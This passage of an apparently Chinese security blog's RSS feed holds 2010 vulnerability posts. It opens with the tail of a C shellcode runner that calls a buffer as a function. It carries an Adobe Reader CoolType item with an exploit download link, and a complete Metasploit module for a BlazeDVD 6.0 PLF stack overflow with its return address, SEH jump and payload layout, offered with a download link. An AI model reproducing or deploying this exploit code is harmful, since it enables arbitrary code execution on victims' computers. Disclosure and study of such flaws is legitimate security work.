        <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> SC<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1770/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe Reader 9.3.2 (CoolType.dll) 远程内存损坏和拒绝服务漏洞</title>
		<link>http://www.spookzang.net/article/1658</link>
		<comments>http://www.spookzang.net/article/1658#comments</comments>
		<pubDate>Wed, 30 Jun 2010 03:24:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[安全新闻]]></category>
		<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[破坏]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1658</guid>
		<description><![CDATA[Adobe  Reader  是用于打开和使用在 Adobe Acrobat 中创建的 Adobe PDF 的工具。 这回出现了远程内存破坏漏洞，和拒绝服务漏洞。请各位及时更新。]]></description>
			<content:encoded><![CDATA[<p>作者：[]0iZy5</p>
<p><a href='http://image.spookzang.net//2010/06/14121.txt'>利用代码下载</a></p>
<p>Adobe  Reader  是用于打开和使用在 Adobe Acrobat 中创建的 Adobe PDF 的工具。 虽然无法在 Reader 中创建 PDF，但是可以使用 Reader 查看、打印和管理 PDF。在 Reader 中打开 PDF 后，可以使用多种工具快速查找信息。</p>
<p>这回出现了远程内存破坏漏洞，和拒绝服务漏洞。请各位及时更新。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1658/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BlazeDVD v6.0缓冲区溢出漏洞</title>
		<link>http://www.spookzang.net/article/1458</link>
		<comments>http://www.spookzang.net/article/1458#comments</comments>
		<pubDate>Sun, 27 Jun 2010 15:50:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[编程溢出]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[缓冲区]]></category>

		<guid isPermaLink="false">http://www.spookzang.net/?p=1458</guid>
		<description><![CDATA[BlazeDVD是一款功能强大、简单易用的DVD/VCD/SVCD/CD播放软件。而这次却出现了缓冲区溢出漏洞，让我们看看它的问题以及漏洞利用程序。]]></description>
			<content:encoded><![CDATA[<p>作者:Blake</p>
<p>BlazeDVD出现了缓冲区溢出漏洞，让我们看看它的问题以及漏洞利用程序。</p>
<p><a href='http://image.spookzang.net//2010/06/14077.zip'>点击下载利用程序</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
</pre></td><td class="code"><pre class="language" style="font-family:monospace;">##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
&nbsp;
require 'msf/core'
&nbsp;
class Metasploit3 &lt; Msf::Exploit::Remote
&nbsp;
include Msf::Exploit::FILEFORMAT
&nbsp;
def initialize(info = {})
super(update_info(info,
'Name' =&gt; 'BlazeDVD 6.0 PLF Buffer Overflow',
'Description' =&gt; %q{
This module exploits a stack over flow in BlazeDVD 6.0.
When
the application is used to open a specially crafted plf
file,
a buffer is overwritten allowing for the execution of
arbitrary code.
Set the EXITFUNC to seh or thread for best results.
},
'License' =&gt; MSF_LICENSE,
'Author' =&gt; [ 'Blake' ],
'Version' =&gt; '$Revision 1$',
'References' =&gt;
[
[ 'EDB-ID' , '13998' ],
[ 'BID', '35918' ],
],
'DefaultOptions' =&gt;
{
'EXITFUNC' =&gt; 'process',
},
'Payload' =&gt;
{
'Space' =&gt; 1363,
'BadChars' =&gt; &quot;\x00\x0a\x0d&quot;,
'DisableNops' =&gt; 'True',
},
'Platform' =&gt; 'win',
'Targets' =&gt;
[
[ 'BlazeDVD 6.0 Universal', { 'Ret' =&gt; 0x6033077D } ],
],
'Privileged' =&gt; false,
'DisclosureDate' =&gt; 'June 23, 2010',
'DefaultTarget' =&gt; 0))
&nbsp;
register_options(
[
OptString.new('FILENAME', [ false,
'The file name.', 'msf.plf']),
], self.class)
&nbsp;
end
&nbsp;
def exploit
&nbsp;
plf = rand_text_alphanumeric(608)
plf &lt;&lt; &quot;\xeb\x06\x90\x90&quot;
plf &lt;&lt; [target.ret].pack('V')
plf &lt;&lt; make_nops(20)
plf &lt;&lt; payload.encoded
plf &lt;&lt; rand_text_alphanumeric(1364 - payload.encoded.length)
&nbsp;
print_status(&quot;Creating '#{datastore['FILENAME']}' file ...&quot;)
&nbsp;
file_create(plf)
&nbsp;
end
&nbsp;
end</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.spookzang.net/article/1458/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
